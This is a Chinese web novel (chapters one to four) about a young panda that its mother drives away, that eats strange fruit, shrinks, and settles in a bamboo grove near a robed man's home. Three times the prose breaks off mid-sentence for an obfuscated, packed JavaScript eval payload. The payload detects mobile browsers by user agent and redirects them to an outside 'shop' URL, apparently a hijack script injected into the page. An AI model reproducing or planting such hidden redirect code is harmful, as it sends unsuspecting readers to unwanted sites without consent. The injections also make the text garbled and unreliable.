《黑白道:一只熊猫的人间观察》 1. 第一章:被踹出家门 初春的竹林,春笋正冒尖。 一只年轻的熊猫正埋着头啃一根嫩笋。 它的身体已经长得不小了——壮实、厚重,黑白分明的毛皮在山林间格外显眼。 但它还带着少年的稚气,吃东西的时候嘴角不自觉地往上翘,后腿也跟着一蹬一蹬的,吃得高兴了就这样。 它还不到两岁,跟在母亲身边的日子,也就这两个春天。 它吃得太专心了,没有注意到母亲就站在不远处看着它。 母亲比它大一圈,毛色更深。她的眼神很平静,她已经在这片山林里活了二十多年,送走了很多孩子。每一次都是这样——幼崽长大了,就该离开。这不是谁教她的,是刻在骨头里的本能。 黑白又咬了一口笋,咔嚓一声,汁水在嘴里炸开。 它嚼了几下,咽下去,后腿又蹬了一下,整个身体都跟着晃了晃。 母亲冲了过来,一掌拍在它肩膀上,力气大得惊人。 黑白整个身体往旁边歪过去,那半截笋从嘴里掉出来,落在泥地上。肩膀火辣辣的疼,它叫了一声,声音尖细,不像一只成年熊猫该发出的声音。 它挣扎着站起来,本能地往母亲身边靠。从小到大,被拍了,凑过去蹭蹭就好了。 母亲的肚皮毛茸茸的,暖烘烘的,比任何地方都安全。 但这次它刚靠近,母亲就张开了嘴。 犬齿咬在它前腿上,不是小时候那种轻轻的含住,是实实在在的咬。骨头被挤压的感觉让黑白又发出一声叫。 它拼命往后缩,母亲松了口,但没有退开,就站在那里,喉咙里滚着低沉的吼声。 黑白往后退了好几步,低着头,喘着粗气。前腿上的毛被咬得乱七八糟,留下一个深深的牙印。 母亲转过身,走到那堆被黑白啃了一半的笋旁边,低下头,开始吃那些笋。 动作很慢,很平静,咔嚓咔嚓的声音和往常一样。她连看都没看它一眼。 黑白站在原地。前腿疼,肩膀疼,肚子还饿着。它不明白发生了什么。昨天还好好的,前天也好好的,一直都是好好的。 它跟着母亲走了二十多个月,从春天走到冬天,又从冬天走到春天。 她教它认竹子,教它找水源,教它怎么在溪边拍鱼。下雨的时候把它护在身下,打雷的时候用鼻子拱它的脖子。 现在她咬它。 它低下头,看见前腿上的牙印,毛被咬得乱七八糟,皮肤上凹下去几个小坑。 那是母亲的牙齿留下的。它的鼻子酸了一下,喉咙里发出一声低低的呜咽。 不是疼,是那种说不出来的难受,像是有什么东西堵在胸口,上不去也下不来。 它又试着往母亲那边走了一步。也许从另一边过去,她就不会赶它了。 它的爪子刚抬起来,母亲立刻抬起头,喉咙里的吼声比刚才更响,眼睛盯着它,嘴边的笋渣子还挂着。 她朝它冲了一步,黑白吓得往后跳了一下,踉跄了好几步才站稳。 母亲没有继续追。她又回到那堆笋旁边,继续吃,和往常一模一样。 黑白站在那里,风吹过来,从它毛皮的缝隙里钻进去,凉飕飕的。 它打了个哆嗦,低头看看自己受伤的前腿,又看看母亲。 母亲的背影在竹林的阴影里,黑白的毛色和斑驳的光影混在一起,模模糊糊的。 她低着头,耳朵耷拉着,和往常吃东西的时候一模一样。 它不明白自己做错了什么。 那根笋是它自己找到的,它没有抢她的,没有碰她的。它只是安安静静地在旁边吃自己的东西。 它不知道为什么突然就被打了,被咬了,被赶走了。 它想起小时候,有一次它跑得太远,差点掉进山涧,母亲找到它,咬着它的后颈把它拖回来。 那次也疼,但它知道那不是不要它。这次不一样。这次母亲的眼睛里没有着急,没有担心,什么都没有。就像它是一只闯进领地的陌生熊猫。 它又站了一会儿。风吹过来,竹林沙沙地响。它把受伤的前腿抬起来,用三条腿站着,身体歪歪斜斜的。 它想再叫一声,但喉咙像被什么东西堵住了,叫不出来。 它转过身,一瘸一拐地往林子深处走。走了几步,它停下来,回头看了一眼。 母亲还在吃笋,低着头,没有看它。它又站了一会儿,希望她能抬起头,看它一眼。 她没有。 它转过身,继续走。这次它没有回头。 太阳偏西的时候,它找到了一个树洞。 说是树洞,其实只是老树根部的一个凹陷,三面有挡,留了一个口子。 它钻进去,把身体蜷起来。前腿收在胸前,后腿顶着树根,受伤的前腿搭在另一条腿上。 它把头对着洞口,能看见外面最后一点光。 天黑了。 树洞外面什么都看不见了。只有声音——风穿过树叶的沙沙声,远处溪水的哗哗声,还有什么东西在枯叶上爬过的窸窣声。 它的肚子在叫。咕噜咕噜的,一声接一声。它舔了舔嘴唇,想起那根没吃完的笋。 真可惜,那是它找了很久才找到的。 肩膀上的伤一跳一跳地疼。它把头低下去,舔了舔前腿上的牙印。舌头的触感粗糙,带着温热。 它舔了很久,从牙印的边缘舔到中间,又从中间舔回边缘。 口水把周围的毛打湿了,风从洞口灌进来,湿的地方凉飕飕的。 它把头埋进肚皮里,把身体缩得更紧。 又想起母亲。不是今天下午的母亲,是以前的母亲。 是它刚出生时把它舔干净的母亲,是它还站不稳时用鼻子拱着它走路的母亲,是下雨天把它护在身下的母亲。 它不明白为什么突然就变了。它没有做错什么。它每天跟着她,吃她指给它看的竹子,喝她带它去喝的溪水。 它以为自己会一直跟着她,像过去的每一天一样。 外面有什么声音靠近了。窸窸窣窣的,踩在落叶上。它的身体绷紧了,耳朵竖起来,盯着洞口的黑暗。 那声音越来越近,它能听见喘气声——粗重的,带着湿气的呼吸。 它把身体缩到最小,一动不动,连呼吸都屏住了。 那声音在洞口停了一下。它闻到一股陌生的气味,腥膻的,不是竹子的味道。 它的心跳快得像要从胸腔里蹦出来,爪子抓紧了地面。 然后那声音往远处去了。一步一步,越来越远,最后消失在黑暗里。 它等了好久,确定那声音不会再回来了,才慢慢放松下来。它把头从肚皮里抬起来,喘了口气。 月亮的光从洞口漏进来,细细的一条,落在它爪子上。它看着那条月光,看着它在爪子上慢慢移动。从指缝滑到掌心,从掌心滑到腕骨。 它又想起母亲,在那个它们住了很久的洞穴里。 洞穴很大,冬暖夏凉,是母亲花了很久才找到的。它睡在母亲身边,头枕着她的肚子,它就是最幸福的小熊。 现在那里空了。它睡的位置,会慢慢变凉。 它把头埋进肚皮里。不知道过了多久,它终于困了。眼皮越来越重,脑袋一点一点往下耷拉。 它闭上眼睛。 没有梦。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446816|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是黑沉沉的一片。 天亮了。 光从洞口渗进来,照在它爪子上。它慢慢睁开眼睛,打了个哈欠。试着动了动腿——前腿上的牙印还在,但不像昨天那么疼了。 腿麻了一晚上,刚动的时候像有针在扎,它龇了龇牙,慢慢把腿伸展开。 肚子又开始叫了。比昨天更厉害,空荡荡的,像有什么东西在里面翻搅。它舔了舔嘴唇,干得很,嗓子也干。 它从树洞里挤出去。外面是陌生的林子,到处是树,到处是草。它站在洞口,左右看看,不知道该往哪边走。 它闻了闻空气。有泥土的味道,有枯叶的味道,有远处溪水的味道。没有竹子的味道。 它选了太阳升起来的方向。昨天它就是往那边走的,虽然没找到竹子,但至少找到了溪水。 走了很久。 林子还是林子,树还是树。它的肚子一直在叫,腿也越来越软。不是累,是饿。那种饿已经不是胃里的翻搅了,是全身都在叫。 它闻到了水的味道。湿湿的,凉凉的,从前面飘过来。它加快脚步,穿过一片灌木,看见了一条小溪。 它趴下去喝水。水很凉,灌进肚子里,暂时压住了饿的感觉。它把脑袋埋进水里,喝到实在喝不下才抬起来。水珠从脸上滴下来,它用爪子抹了一把。 溪水里有鱼。很小,还没它爪子大。它伸出爪子,啪地拍下去。水花溅起来,鱼跑了。它等了一会儿,鱼没回来。 它站起来,继续走。 太阳爬到头顶的时候,它闻到了竹子的味道。很淡,但确实是竹子的味道。 它的心快跳了起来,加快脚步往那个方向走。 穿过灌木,绕过石头,它看见了一小片竹子。 但那些竹子已经枯了大半,叶子是黄的,竿子是灰的。它走过去,咬了一根,干巴巴的,一点水分都没有。 嚼了两下,咽不下去,吐出来了。嘴里全是木渣子的味道。 它又咬了几根,都一样。没有一根能吃的。 它站在那片枯竹林里,看了看周围。到处都是枯黄的叶子,干巴巴的竹子,连地上的笋都没有。它转了一圈,什么都没有。 它离开那片枯竹林,继续往前走。嘴里还留着木渣子的味道,涩涩的。 它找了片草地,啃了几口青草,想把那味道压下去。草是湿的,带着露水,嚼了几下,满嘴的青涩味。 走了没多远,胃里开始不舒服了。先是胀,然后是翻腾。它停下来,趴在地上,张开嘴,把刚才吃的东西全吐了出来。 草叶混着胃液,黄黄绿绿的一滩。 它趴在那里喘气,嘴里又苦又涩。好一会儿才缓过来。 太阳已经开始往西边落了。它得找个地方过夜。在附近转了一圈,找到一棵大树。 树根从土里拱出来,形成一个不大的凹陷,刚好能让它蜷进去。 它钻进去,把身体缩起来。和昨晚一样,前腿收着,后腿蜷着。受伤的前腿搭在另一条腿上,不碰地面。 天黑了。 它把头埋进肚皮里。 想起昨天的树洞,想起前天被赶出来的地方。想起那根没吃完的笋。 想起母亲低头吃笋的样子,咔嚓咔嚓的,和往常一样。她连头都没抬。 肚子又叫了一声。它舔舔嘴唇,什么都没有。 远处有什么声音响了一下。它没动。 又响了一下,更远了一些。它竖起耳朵听了一会儿,然后慢慢放松下来。 困意涌上来。像水一样,从脚底开始,一点一点漫过身体。 它闭上眼睛。 等天亮。 2. 第二章:奇怪的果子 天亮了。 光从树洞口的缝隙里渗进来,照在它爪子上。它慢慢睁开眼睛,打了个哈欠,露出还没长全的犬齿。 它试着动了动腿——前腿上的牙印还在,但不像昨天那么疼了。 腿麻了一晚上,它龇了龇牙,慢慢把腿伸展开,一下,两下,三下。血液重新流过去,麻的感觉慢慢消退。 肚子又开始叫了。它舔了舔嘴唇,干得很,舌头和上颚粘在一起。嗓子也干,像是塞了一团枯叶,咽口水都费劲。 它从树洞里挤出去。先伸脑袋,再伸前腿,然后整个身体慢慢挪出来。受伤的前腿不敢用力,它就用三条腿撑着,另一条抬着。 外面是陌生的林子,到处是树,到处是灌木,到处是差不多的绿色。它站在洞口,左右转转脑袋,不知道该往哪边走。 它闻了闻空气。有泥土的味道,有枯叶的味道,有远处溪水的味道。没有竹子的味道。 它又闻了闻,还是没有。 它选了太阳升起来的方向。昨天它就是往那边走的,虽然没找到竹子,但至少找到了溪水。 今天再往那边走,也许能找到更多。太阳从树梢后面露出来,红红的,圆圆的,光线穿过树叶,在地上投出一片一片的光斑。 走了很久。林子还是林子,树还是树。 它的肚子一直在叫,叫得越来越频繁。 腿也越来越软,不是累,是饿。那种饿已经不是胃里的翻搅了,是全身都在叫。 骨头里、血里、每一根毛里,都在叫着要吃。 它的步子越来越慢,越来越小,有时候走几步就要停下来喘一喘。 它闻到了水的味道。湿湿的,凉凉的,从前面飘过来。 它加快脚步,穿过一片灌木,枝条刮在它的毛上,簌簌地响。 它看见了一条小溪。和昨天那条不一样,窄一些,浅一些,水也更急。 它把整个脑袋都埋进水里,咕嘟咕嘟地喝,喝到实在喝不下才抬起来。 水珠从脸上滴下来,滴在爪子前面的石头上,吧嗒吧嗒的。 它用爪子抹了一把脸,甩了甩头,耳朵啪嗒啪嗒地打在脑袋上。 溪水里有东西在动。它盯着看了一会儿,是几条小鱼,很小,还没它爪子大。 它们在水里游来游去,银白色的肚皮在阳光下闪一下,闪一下。 它伸出爪子,啪地拍下去。水花溅起来,溅了它一脸。小鱼早就跑了,躲到石头缝里去了。 它站起来,继续走。 太阳慢慢往头顶爬。林子里的光线亮了一些,从树叶缝隙里漏下来的光斑落在地上。 有一只鸟从头顶飞过,影子从它身上掠过去,它抬头看了一眼,鸟已经飞远了。 树上有什么东西在叫,吱吱吱的,它竖起耳朵听了一下,没理,继续走。 又走了一阵,它经过一片空地。空地上长着一些矮矮的野花,黄的白的,小小的,在风里晃。 它低头闻了闻,没什么味道。一只蝴蝶从花上飞起来,在它鼻子前面绕了两圈,翅膀上的花纹在阳光下闪了一下。 它盯着蝴蝶看了一会儿,甩了甩头,蝴蝶飞走了。 肚子又叫了一声。它舔了舔嘴唇,继续走。 然后它闻到了什么。 不是竹子的味道。 是一种它从来没闻过的气味。很特别,说不上来是什么,但钻进鼻子里,让它忍不住咽口水。 它的鼻子抽动了几下,头朝着那气味飘来的方向转过去。 在山坡下面,不远。 它站在那里,鼻子朝着那个方向闻了又闻。那气味一阵一阵的,有时候浓一点,有时候淡一点,但一直都在。 它抬起爪子,往山坡下面走。 越走越快。那气味越来越浓,它的步子也越来越急。 穿过几棵大树,绕过一片灌木,那气味浓得像是就在面前。 它穿过最后一片灌木,停了下来。 它看见了一棵矮树。不高,比它站起来还矮一点。 树干细细的,只有它前腿那么粗,树皮是灰褐色的,上面长着一些细细的裂纹。叶子绿得发亮,在下午的阳光里泛着光,每一片都舒展开来,边缘有一圈细细的绒毛,风一吹就轻轻颤动。 和周围那些灰扑扑的灌木不一样,这棵树是活的——每一片叶子都舒展着,绿油油的,在风里轻轻摇晃,像是在呼吸。 树上结着果子。朱红色的,不大,圆圆的,一颗一颗挂在枝叶间。有的藏在叶子下面,只露出半个身子;有的挂在枝头,阳光照在上面,亮晶晶的,像是涂了一层蜡。 那股让它一路追过来的香味,就是从这些果子上发出来的——甜丝丝的,带着一种它说不上来的气息,钻进鼻子里,一直钻到脑子里。 它站在矮树前面,盯着那些果子。口水从嘴角流出来,滴在胸前的毛上,一滴,两滴,把毛打湿了一小片。 它往前走了一步,又停住了。它想起了一些什么。不是用话教的,是身体记住的——小时候,有一次它看见一种从来没见过的植物,叶子肥肥的,绿得发亮,它想咬一口尝尝。 它刚凑过去,母亲就用嘴把它拱开了,力气不小,它翻了个跟头。那之后它再看见没见过的东西,都会停一下。 它看着那些红果子,又看看周围。没有母亲在这里拱开它。只有它自己。 它的爪子抬起来,又放下。口水又流出来了。肚子又拧了一下,疼得它弓起背,爪子在地上抓出几道浅浅的痕迹。 它不再想了。 它走过去,凑近那棵矮树。果子就在它面前,红艳艳的,圆滚滚的,离它的鼻子只有一掌远。 它能看见果皮上细细的纹路,能看见果子表面有一层薄薄的、亮亮的东西,像露水,又不是露水。 它张开嘴,咬住一颗。 牙齿切入果皮的一瞬间,汁水涌出来——那味道! 它的眼睛瞪大了。不是竹子的清甜,是另一种甜,更浓,更香。汁水在嘴里炸开,顺着舌头滑下去,暖暖的,从喉咙一直暖到胃里。 它从来没吃过这么好吃的东西。它嚼了两下,又嚼了两下,舍不得咽,含在嘴里品了好一会儿才吞下去。第一颗吃完,它把嘴角的汁水也舔干净了。 它又咬住第二颗。这一颗更大,更红,咬开的时候汁水溅出来,滴在它爪子上。它低头舔掉,又继续嚼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446817|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那股甜味在嘴里久久不散,每嚼一口都涌出新的汁水,从舌尖一直甜到舌根。它闭上眼睛嚼了一会儿,然后睁开,又咬了一口。 第二颗吃完,它又咬住第三颗。这一颗熟得透透的,果皮薄得几乎透明,能看见里面红艳艳的果肉。 牙齿刚碰到就破了,汁水直接涌进嘴里,甜得它眯起了眼睛,耳朵也跟着往后抿了一下。 它嚼了几下,咽下去,胃里暖烘烘的,像揣了一个小太阳,那股暖意从胃里慢慢扩散开,扩散到四肢,扩散到指尖。 三颗果子下肚,那种从昨天一直折磨它的饥饿感终于退下去了。 它打了个嗝,嘴里全是果子的甜味。它舔了舔嘴唇,又舔了舔爪子上的汁水,把爪子上上下下舔了个遍。 它抬头看了看树上。还有一颗果子挂在枝头,红红的,亮亮的,在风里轻轻晃。它盯着那两颗果子看了一会儿,它的鼻子抽动了一下,那香味还在往鼻子里钻。 但它没有再去够那颗。它的身体告诉它:够了。 不贪心。它收回目光,把脑袋从树枝间退出来。 它站在那里,又盯着那个果子看了一会儿。 红红的,圆圆的,在阳光下亮晶晶的,香味还在,但它不饿了。 它转过身,准备走。 然后它的腿软了。 不是饿的那种软,是另一种。像踩在松软的泥地上,使不上劲。 它往前迈了一步,前腿弯了一下,差点摔倒。它稳住身体,甩了甩头。 头也晕了,眼前的树影开始晃动,一棵变成两棵,两棵变成四棵,四棵变成模糊的一片。 它想走,但腿不听使唤。它试着迈步,爪子在地上划了一下,四条腿都在发抖,眼前的红果子变成了模糊的一团红,和绿色的叶子混在一起,分不清哪里是树,哪里是天。 它的头越来越沉,像有什么东西压在上面,从头顶一直压到脖子,压得它抬不起来。 它试着抬头,抬不起来。那团红色的东西在它眼前晃,晃得它眼睛发花。 它的前腿弯了。身体往前倾,它想撑住,但爪子在地上滑了一下,指甲刮在泥土上,发出轻微的声响。 它整个身体趴了下去,肚皮贴在地上,下巴磕在泥土上。它想爬起来,但四肢一点力气都没有,像是被什么东西捆住了,又像是陷进了烂泥里。 它只能趴在那里,喘着粗气,呼哧呼哧的,胸口一起一伏。 眼前的东西越来越模糊。树影、灌木、天空、那棵矮树上的红果子,全都混在一起,变成一片混沌的颜色,黄的绿的红的混成一团。 只有那股甜味还在,在舌头上,在喉咙里,在胃里,像一根线牵着,让它不至于完全沉下去。 最后,它的眼睛还是闭上了。 世界消失了。 只剩下那股甜味,还留在舌头上,久久不散。 它趴在那棵矮树旁边,肚子一起一伏,呼吸慢慢变缓。阳光照在它背上,暖洋洋的。风吹过来,矮树的叶子沙沙地响,几片叶子轻轻落在它身上。 树上的红果子在风里晃了晃,又晃了晃,安安静静地挂在枝头。 它睡着了。 3. 第三章:在新地方安家了 不知道过了多久。也许是几个时辰,也许是一天。 阳光穿过树叶的缝隙落在它身上,暖洋洋的。有什么东西在它脸上爬,痒痒的。它动了动耳朵,那东西飞走了。 它慢慢睁开眼睛,光刺得它又闭上,过了一会儿才又睁开。 它看见头顶的树叶。绿绿的,在风里轻轻晃。阳光从叶子的缝隙里漏下来,一小片一小片的,落在它脸上、身上。 有一只鸟在头顶叫什么,叽叽喳喳的,声音又尖又脆。它盯着那些叶子看了一会儿,觉得身上舒服极了。 不疼了,不晕了,也不饿了。前腿上的牙印已经不在了,也不疼了,只是毛还有点乱。 肚子也不叫了,暖烘烘的,像揣了一个小火炉。 它试着动了动,四条腿一撑,轻轻松松就站了起来。不软了,不晃了,浑身都是劲儿。 它抖了抖毛,身上的枯叶和泥土簌簌地掉下来。 它低头看了看自己——毛还是黑的白的,一块一块的,和以前一样。 但它总觉得有什么地方不太一样。它扭头看看自己的身子,又看看爪子,又看看尾巴。它好像变小了一点。 不是那种特别明显的变化,但它就是觉得自己的身体比之前短了一截,四条腿也短了一些,肚子也圆了一些。它低头看自己的爪子,肉垫还是粉粉的,指甲还是短短的,但整只爪子看起来比记忆中小了一号。 它歪着头想了想,想不明白,也就不想了。 反正不疼不痒,能走能吃,那就没事。 它不知道的是,它现在看起来就像一只刚满一岁的幼崽——圆滚滚的,毛茸茸的,四条腿短短的,跑起来一颠一颠的。 耳朵还是竖着的,但比成年熊猫的耳朵小一圈,支在圆脑袋上,像两片黑色的叶子。 眼睛又黑又亮,圆溜溜的,眼珠子一转,透着一股子机灵劲儿。要是有人看见它,一定忍不住想抱一抱。 它从地上站起来,四只爪子踩在落叶上,软软的。它往前走了几步,腿脚利索得很,一点也不疼了。 它又走了几步,越走越轻快,蹦蹦跳跳的,圆滚滚的身子一颠一颠的。它试着跑了几步,四条小腿倒腾得飞快,落叶在身后被带起来,沙沙地响。 它跑了一阵,停下来,喘了口气——不是累,是高兴。 它从来没觉得自己的身体这么轻快过。 然后它闻到了什么。不是果子的味道。是一种它从来没闻过的气味,从很远很远的地方飘过来。说不上来是什么,但钻进鼻子里,让它的口水一下子就涌了出来。 它站在那儿,鼻子朝着那气味飘来的方向抽动了几下。那气味很淡,换了以前它肯定闻不到,但现在它能清清楚楚地分辨出来——那味道里面有粮食的香气,有柴火燃烧的烟气,还有某种它叫不上名字的、暖暖的、香香的东西。 它的脚不自觉地朝着那个方向迈了一步。 它顺着那气味往前走。穿过几棵树,绕过一块大石头,那气味又浓了一些。它的步子越来越快,四条小腿倒腾得飞快。 它穿过一片灌木,枝条刮在它的毛上,它也不觉得疼。又绕过几棵大树,它停下来,鼻子朝着风来的方向使劲闻。 那气味就在前面。不远了。 它加快脚步,小跑着往前。跑了一阵,它又停下来闻,又跑一阵,又停下来。那气味越来越浓,越来越浓,浓得好像就在鼻子前面。 奇怪的是,它跑了这么久,走了这么远,腿一点都不酸,气也不喘。 以前跟着母亲走远路,走到一半就要歇一歇,有时候还要母亲等它。 现在它浑身都是劲儿,好像怎么走都不会累。它的步子轻快得像踩着棉花,每一步都稳稳当当的,受伤的那条腿也完全好了,和没受过伤一样。 它穿过最后一片灌木,眼前豁然开朗。它看见了一片竹林。很大很大的一片竹林,比它以前住的那片还大。 竹子是绿的,那种鲜亮的、水灵的绿,在午后的阳光里泛着光。叶子一片一片的,密密麻麻的,风一吹,整片竹林就像一片绿色的海,哗啦啦地响。 那声音从远到近,又从近到远,像波浪一样,一层一层的。地上铺着去年留下的枯叶,褐色的、干干的,踩上去沙沙响。 但枯叶中间,有东西从土里冒出来——嫩笋。 一根一根的,尖尖的,有的刚露出头,还带着清晨的露水,在阳光下闪着光;有的已经长了一截,壳是嫩绿色的,尖上带着一点黄,掐一下能出水。 它从来没见过这么多的笋,密密麻麻的,从竹子根部的枯叶里钻出来,到处都是。 它站在竹林边上,盯着那些笋看了一会儿。 它的肚子不饿,但看见那些笋,它还是忍不住咽了咽口水。它走了进去,踩在枯叶上,沙沙沙沙的。 它走到一根笋前面,低头闻了闻,一股清甜的味道钻进鼻子里,比它在老竹林里闻过的任何笋都香。它咬了一口,咔嚓一声,汁水在嘴里炸开。嚼了两下,咽下去,又咬了一口。 好吃。 比它以前吃过的任何笋都好吃。汁水特别多,甜味特别浓,咬下去的时候,那股清甜一直从舌尖甜到喉咙,连牙齿缝里都是甜的。 它不饿,但还是忍不住又吃了一根。第二根也一样好吃,壳薄薄的,一咬就碎,里面的笋肉嫩得好像能在嘴里化开。 它舔舔嘴,决定不再吃了。它还要去探一探这片竹林。它继续往竹林深处走。 越往里走,竹子越密,越绿。阳光从竹叶的缝隙里漏下来,变成一条一条的金线,落在地上的枯叶上,像碎金子一样闪闪发亮。 空气里满是竹叶的清香,湿湿的,凉凉的,吸一口就觉得浑身舒服,从鼻子一直凉到肺里。 它走了一阵,,这片竹林好像没有尽头似的,到处都是竹子,到处都是笋。 它走累了,就在一棵竹子下面趴下来歇一会儿。枯叶厚厚的,软软的,像母亲铺的窝。 它趴在上面,把下巴搁在前爪上,听着竹叶沙沙的声音,看着头顶的竹叶在风里轻轻晃。歇够了,又站起来继续走。 它喜欢这里。这里的竹子好吃,空气好闻,地方也大,够它一个人住。 不像以前住的那片林子,竹子不多,笋也少,还要和别的动物抢。 这里好像只有它一个,安安静静的,只有风的声音和竹叶的声音。 又走了一阵,竹林的尽头隐隐约约地出现了。光线亮了一些,竹子的缝隙变大了。 它放慢脚步,悄悄走过去。 它看见了房子。好几间房子,灰扑扑的,矮矮的,围着一个院子。院墙是石头垒的,不高,它能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446818|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见墙里面的东西。 院子里很安静,没有人,只有几棵树,一张石桌子,几把石凳子。 房子是木头的,门是关着的,窗户也是关着的。 屋顶上铺着灰色的瓦片,一片一片的,整整齐齐的,像鱼身上的鳞片。 它不知道这是什么地方,它没见过这样的东西。 山里有树,有石头,有溪水,但没有这样的、方方正正的、用木头和石头搭起来的东西。 它趴下来,盯着那些房子看。风吹过来,它闻到那气味——就是从这房子里飘出来的。 那股让它一路追过来的、暖暖的、香香的气味。现在离得近了,那气味更浓了,一阵一阵的,从房子里飘出来,钻进它的鼻子里。 它的口水又流出来了,滴在胸前的毛上,但它没有动。 它盯着那些房子,盯着那扇关着的门,盯着那扇关着的窗户。它不知道里面有什么,它不知道那气味是从什么东西上发出来的。 它只知道那是它没见过的、不懂的东西。它的身体绷得紧紧的,耳朵竖着,随时准备转身跑。 它等了很久,院子里一直没有动静,只有风偶尔吹过,带起几片落叶在院子里打转。 它又看了一会儿,然后慢慢往后退。退一步,停一停,竖起耳朵听一听。又退一步,又停一停。退到竹林里,退到竹子的阴影里。 那气味还在,但没有那么浓了。它又退了几步,转过身,往竹林深处走。 它决定在这里住下来,这片竹林很好,竹子好吃,空气好闻,地方也大。 还有那股好闻的气味,虽然它不知道那是什么,但一定食物的味道,那味道让它觉得很舒服,很安心。 它一路往竹林深处走,越走越远,直到看不见那片房子了才停下来。 它找了一棵最大的竹子,在它下面转了几圈,用爪子扒拉了几下地上的枯叶。 枯叶厚厚的,软软的,被它扒拉出一个小窝。它又扒拉了几下,把窝弄得更深一些,更圆一些。 它在里面趴下来,试了试,刚好能放下它整个身体。 它把下巴搁在前爪上,眼睛半眯着,看着头顶的竹叶在风里轻轻晃。这里离那片房子很远,闻不到那股气味了,但它知道它在那里。 以后可以慢慢去弄明白。 现在不急。它想起母亲,不是被赶走时的母亲,是更早以前的。是它还很小的时候,趴在母亲肚皮上晒太阳的日子。那时候什么都不用想,饿了就吃,困了就睡,母亲就在旁边。暖暖的,软软的,比任何地方都舒服。 现在母亲不在了,它自己找到了这片竹林。这里有吃的,有喝的,有能睡觉的地方。它应该高兴。但它还是想起母亲,想起她低头吃笋的样子,咔嚓咔嚓的,和往常一样。它的鼻子酸了一下,但只是一下。 太阳又落下去一点,竹林的影子拉得更长了。 它打了个哈欠,把身体缩了缩。圆滚滚的身子蜷成一团,像一只黑白相间的球。它把之前受伤的前腿伸出来看了看,牙印不在,毛也慢慢顺了。它舔了两口,又把腿缩回去。 它闭上眼睛,听着竹叶沙沙的声音,听着溪水哗哗的声音。风从它身上吹过去,凉丝丝的,但枯叶垫在身下,软软的,暖暖的。它觉得很舒服,很安心。 这里以后就是它的家了。 4. 第四章:竹林里的邻居 它在竹林里住下来了。 第二天醒来的时候,阳光正从竹叶的缝隙里漏下来,落在它的鼻子上,痒痒的。 它打了个哈欠,伸了个懒腰,四条小腿蹬得直直的,圆滚滚的身子拉长了一截,然后又缩回去。 肚子有一点点饿,但不厉害。身上不疼,浑身都是劲儿。 它站起来,抖了抖毛,枯叶从背上簌簌地掉下来。 它走出窝,在竹林里转了一圈。笋还是那么多,它挑了一根最嫩的,咔嚓咔嚓吃完,就吃另外一根。 吃饱了,它在竹林里跑了几圈,四条小腿倒腾得飞快,圆滚滚的身子一颠一颠的,落叶在身后被带起来,沙沙地响。 跑累了,它趴下来歇了一会儿。然后它又想起昨天看见的那片房子。 它沿着昨天的路往竹林边走去。穿过密密匝匝的竹子,绕过几棵大树,竹林的尽头到了。 它放慢脚步,悄悄走到竹林边缘,在一丛竹子后面趴下来。它把头放低,只露出眼睛,朝那边看。 房子还在。前面是一座大一些的屋子,门敞开着,能看见里面黑黝黝的,好像有什么东西立着。后面连着几间小一些的屋子,围成一个院子。 院墙是石头垒的,不高。它趴的地方是个斜坡,能看见院墙里面。 盯着看了一会儿。房子门开着,但院子里没有人。它等了一阵,然后门里走出一个人来,虽然它还不知道这是人,只是本能的觉得这个人跟它以往见过的动物都不一样。 那人用两只脚站着,稳稳当当的。身上穿着灰蓝色的长袍,宽宽大大的,一直盖到脚面。 头发全部挽在头顶,用一根木簪子别住,整整齐齐的。脸上线条清瘦,下巴上留着几缕白须,不长。 整个人站在那里,安安静静的,像山里的一块石头。 它盯着那个人,一动不动。两只脚怎么能站稳?它试过用两只脚站起来,最多坚持一小会儿就得趴下。 但这个人站在那里,不摇不晃,稳得像生了根一样。走路的时候也是,一步一步的,不快不慢,每一步都踩得很稳。 最奇怪的是,它并不害怕。这个人身上有一种它说不上来的气息——安安静静的,平平和和的,像竹林里的风。它的身体知道这一点,所以它趴在那里,没有跑。 那个人从门里走出来,手里端着一个碗,碗里冒着热气。 然后它闻到了——就是那股气味。那股让它一路从山坡上追下来的、暖暖的、香香的气味。它的口水一下子就涌了出来。 那个人在石桌旁边坐下来,从碗里拿起一个黄褐色的东西,圆圆的,咬了一口。它咽了咽口水。 又咬了一口。它又咽了咽口水。 那人嚼得很慢,每嚼一下,那股香味就浓一分。它趴在那里,前爪扒着地上的枯叶,身子不自觉地往前探了探。 那个人吃完了碗里的东西,站起来,拿着空碗进了屋。 过了一会儿又出来,手里拿着一个长长的东西——一头是木棍,一头是一捆细枝子扎成的扫把。它没见过这种东西,盯着看了好一会儿。 